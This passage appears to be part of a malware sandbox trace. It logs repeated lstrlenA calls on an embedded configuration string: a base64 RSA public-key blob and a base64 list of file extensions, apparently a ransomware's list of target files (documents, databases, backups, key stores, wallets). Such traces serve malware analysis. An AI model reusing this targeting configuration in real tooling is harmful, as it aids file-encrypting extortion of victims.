YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.405] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.405] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.405] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.405] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1p